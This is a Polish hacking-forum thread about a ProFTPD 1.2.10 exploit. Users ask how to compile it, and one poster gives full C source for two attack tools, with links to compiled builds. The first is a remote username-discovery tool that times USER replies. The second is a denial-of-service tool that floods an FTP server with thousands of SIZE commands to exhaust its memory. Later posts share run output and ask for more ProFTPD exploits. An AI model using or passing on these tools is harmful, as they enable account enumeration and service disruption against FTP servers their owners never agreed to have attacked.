proftpd 1.2.10 exploit

garek

Użytkownik
Dołączył
Styczeń 14, 2007
Posty
2
exploit: http://www.milw0rm.com/exploits/581
przy kompilacji w borland c++ builder pojawiaja sie bledy:
Build
[C++ Error] File1.c(15): E2209 Unable to open include file 'syssocket.h'
[C++ Error] File1.c(18): E2209 Unable to open include file 'arpainet.h'
[C++ Error] File1.c(19): E2209 Unable to open include file 'systime.h'
[C++ Error] File1.c(28): E2450 Undefined structure 'sockaddr_in'
[C++ Error] File1.c(28): E2449 Size of 'sin' is unknown or zero
[C++ Error] File1.c(28): E2450 Undefined structure 'sockaddr_in'
[C++ Error] File1.c(28): E2450 Undefined structure 'sockaddr_in'
[C++ Error] File1.c(28): E2449 Size of 'sin' is unknown or zero
[C++ Error] File1.c(30): E2450 Undefined structure 'timeval'
[C++ Error] File1.c(30): E2449 Size of 'tv' is unknown or zero
[C++ Error] File1.c(30): E2450 Undefined structure 'timeval'
[C++ Error] File1.c(30): E2450 Undefined structure 'timeval'
[C++ Error] File1.c(30): E2449 Size of 'tv' is unknown or zero
[C++ Error] File1.c(30): E2450 Undefined structure 'timeval'
[C++ Error] File1.c(30): E2449 Size of 'tv2' is unknown or zero
[C++ Error] File1.c(30): E2450 Undefined structure 'timeval'
[C++ Error] File1.c(30): E2450 Undefined structure 'timeval'
[C++ Error] File1.c(30): E2449 Size of 'tv2' is unknown or zero
[C++ Error] File1.c(31): E2450 Undefined structure 'timezone'
[C++ Error] File1.c(31): E2449 Size of 'tz' is unknown or zero
[C++ Error] File1.c(31): E2450 Undefined structure 'timezone'
[C++ Error] File1.c(31): E2450 Undefined structure 'timezone'
[C++ Error] File1.c(31): E2449 Size of 'tz' is unknown or zero
[C++ Error] File1.c(31): E2450 Undefined structure 'timezone'
[C++ Error] File1.c(31): E2449 Size of 'tz2' is unknown or zero
[C++ Error] File1.c(31): E2228 Too many error or warning messages[/b]
prosze o pomoc.
 

Volkerbird

Użytkownik
Dołączył
Grudzień 12, 2006
Posty
61
Wydaję mi się, że program jest źle napisany. Na początku nie może wczytać bibliotek np. syssocket.h.
 

garek

Użytkownik
Dołączył
Styczeń 14, 2007
Posty
2
w borland nie ma tych bibliotek. wgralem je, ale dalej sie czepia:

Build
[C++ Error] byteorder.h(29): E2141 Declaration syntax error
[C++ Error] byteorder.h(30): E2141 Declaration syntax error
[C++ Error] byteorder.h(31): E2141 Declaration syntax error
[C++ Error] byteorder.h(32): E2141 Declaration syntax error
[C++ Error] byteorder.h(34): E2141 Declaration syntax error
[C++ Error] in.h(185): E2450 Undefined structure 'in_addr6'
[C++ Warning] File1.c(35): W8065 Call to function 'printf' with no prototype
[C++ Warning] File1.c(37): W8065 Call to function 'printf' with no prototype
[C++ Warning] File1.c(37): W8065 Call to function 'exit' with no prototype
[C++ Warning] File1.c(43): W8065 Call to function 'bzero' with no prototype
[C++ Warning] File1.c(47): W8065 Call to function 'printf' with no prototype
[C++ Warning] File1.c(48): W8065 Call to function 'read' with no prototype
[C++ Warning] File1.c(50): W8065 Call to function 'gettimeofday' with no prototype
[C++ Warning] File1.c(51): W8065 Call to function 'snprintf' with no prototype
[C++ Warning] File1.c(52): W8065 Call to function 'strlen' with no prototype
[C++ Warning] File1.c(52): W8065 Call to function 'write' with no prototype
[C++ Warning] File1.c(53): W8065 Call to function 'read' with no prototype
[C++ Warning] File1.c(54): W8065 Call to function 'gettimeofday' with no prototype
[C++ Warning] File1.c(57): W8065 Call to function 'printf' with no prototype
[C++ Warning] File1.c(59): W8065 Call to function 'printf' with no prototype
[C++ Warning] File1.c(60): W8065 Call to function 'close' with no prototype
[C++ Warning] File1.c(61): W8070 Function should return a value
[C++ Warning] File1.c(61): W8004 'n' is assigned a value that is never used[/b]

i juz nie wiem co wgrac
<
 

M1ch00

Użytkownik
Dołączył
Sierpień 22, 2006
Posty
609
Linuxa, bo ten sploit jest pod linuxa. Albo nauczyć się obsługi winsock i przepisać tak, żeby działało.
 

Hunter

Użytkownik
Dołączył
Październik 29, 2005
Posty
478
Kod:
#include <sys/socket.h>

#include <sys/types.h>

#include <stdio.h>

#include <arpa/inet.h>

#include <sys/time.h>



#define PORT 21

#define PROBE 8



main (int argc, char **argv)

{

int sock,n,y;

long dist,stat=0;

struct sockaddr_in sin;

char buf[1024], buf2[1024];

struct timeval tv, tv2;

struct timezone tz, tz2;



printf ("Proftpd remote users discovery exploitn"

" Coded by Leon / LSS Securityn"

">-------------------------------------<n");



if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); }



sock = socket (AF_INET, SOCK_STREAM, 0);

sin.sin_family = AF_INET;

sin.sin_port = htons (PORT);

sin.sin_addr.s_addr = inet_addr (argv[1]);

bzero (sin.sin_zero,8);



connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));



printf ("Login time: ");

n = read (sock,buf2, sizeof(buf2));

for (y=0;y<PROBE;y++) {

gettimeofday (&tv,&tz);

snprintf (buf, sizeof(buf)-1,"USER %srn",argv[2]);

write (sock, buf, strlen(buf));

n = read (sock,buf2, sizeof(buf2));

gettimeofday (&tv2,&tz2);

dist =tv2.tv_usec - tv.tv_usec;

stat += dist;

printf (" %d |",dist);

}

printf ("nAvrg: %dn",(stat/PROBE));

close (sock);

}

compiled http://nitrox.fasthost.pl/proftpd

a tu bonusik :

Kod:
#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <signal.h>

#include <time.h>

#include <string.h>

#include <ctype.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <arpa/nameser.h>

#include <netdb.h>



#define USERNAME "login"

#define PASSWORD "haslo"

#define HOWMANY 10000



void logintoftp();

void sendsizes();

int fd;

struct in_addr host;

unsigned short port = 21;

int tcp_connect(struct in_addr addr,unsigned short port);



int main(int argc, char **argv)

{

  if (!resolve(argv[1],&host))

  {

    fprintf(stderr,"Hostname lookup failuren");

    exit(0);

  }



  fd=tcp_connect(host,port);

  logintoftp(fd);

  printf("Loggedn");

  sendsizes(fd);



  printf("Now check out memory usage of proftpd daemon");

  printf("Resident set size (RSS) and virtual memory size (VSIZE)");

  printf("fields in ps output");

}



void logintoftp()

{

  char snd[1024], rcv[1024];

  int n;



  printf("Logging " USERNAME  "/"  PASSWORD "rn");



  memset(snd, '0', 1024);

  sprintf(snd, "USER %srn", USERNAME);

  write(fd, snd, strlen(snd));



  while((n=read(fd, rcv, sizeof(rcv))) > 0)

  {

    rcv[n] = 0;

    if(strchr(rcv, 'n') != NULL)break;

  }



  memset(snd, '0', 1024);

  sprintf(snd, "PASS %srn", PASSWORD);

  write(fd, snd, strlen(snd));



  while((n=read(fd, rcv, sizeof(rcv))) > 0)

  {

    rcv[n] = 0;

    if(strchr(rcv, 'n') != NULL)

      break;

  }

  return;

}



void sendsizes()

{

  char snd[1024], rcv[1024];

  unsigned long loop;



  printf ("Sending %i size commands... n", HOWMANY);



  for(loop=0;loop<HOWMANY;loop++)

  {

    sprintf(snd, "SIZE /dadasjasojdasj/adhjaodhahasohasaoihroahan");

    write(fd, snd, strlen(snd));

  }

  return;

}



int tcp_connect(struct in_addr addr,unsigned short port)

{

  int fd;



  struct sockaddr_in serv;

  bzero(&serv,sizeof(serv)); serv.sin_addr=addr;

  serv.sin_port=htons(port);

  serv.sin_family=AF_INET;



  if ((fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0)

  {

    perror("socket");

    exit(0);

  }



  if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0)

  {

    perror("connect");

    exit(0);

  }



  return(fd);

}



int resolve(char *hostname,struct in_addr *addr)

{

  struct hostent *res;

  res=gethostbyname(hostname);

  if (res==NULL)

    return(0);

  memcpy((char *)addr,res->h_addr,res->h_length);

  return(1);

}

compiled http://nitrox.fasthost.pl/proftpd2
 

convict

Użytkownik
Dołączył
Czerwiec 20, 2005
Posty
2
Nie chce otwierac nowego topica wiec napisz tu:

odpalilem exploita (tego pierwszego) pod cygwin. ale nie wiem zbytnio co dalej. czy moglby ktos mi podpowiedziec? dostaje takie dane:

Kod:
Proftpd remote users discovery exploit

 Coded by Leon / LSS Security

>-------------------------------------<

Login time:  102000 | 46000 | 49000 | 46000 | 110000 | 47000 | 47000 | 49000 |

Avrg: 62000

czy to moze sie nadac? czy to innaczej jakos trzeba wywolac? wywoluje przez:

Kod:
./pftpd IP 21
 

Hunter

Użytkownik
Dołączył
Październik 29, 2005
Posty
478
wystarczy zerknac na kod i stwierdzic mozna smialo ze jakis debil napisal goffno dygnol na milworma a tak naprawde to nic nie robi
smile.gif
, ten drugi rowniez jest zdygany
<
, napisac mozna jakikolwiek current list i bedzie na kazdym servie to samo wyszukiwac
<


podejzewam ze admin milw0rma nie ma pojecia o programowaniu to nie pierwsze exploity ktore nigdy nic nie zrobia [;

looknijcie na exploity dla novella directory no przeciez to jest smiech na sali
<
 

convict

Użytkownik
Dołączył
Czerwiec 20, 2005
Posty
2
Originally posted by Hunter
wystarczy zerknac na kod i stwierdzic mozna smialo ze jakis debil napisal goffno dygnol na milworma a tak naprawde to nic nie robi
smile.gif
...
no wlasnie tak nie bardzo rozumialem co moze sie dziac w tym kodzie... bo chcialem przepisac go (wstyt sie przyznawac ;P) na VB ale poniewaz nie kumalem co on moze robic to wpierw skompilowalem go pod cygwin'em... A miał by ktoś może jakiegoś exploita pod proftpd 1.2.10 ?
 
Do góry Bottom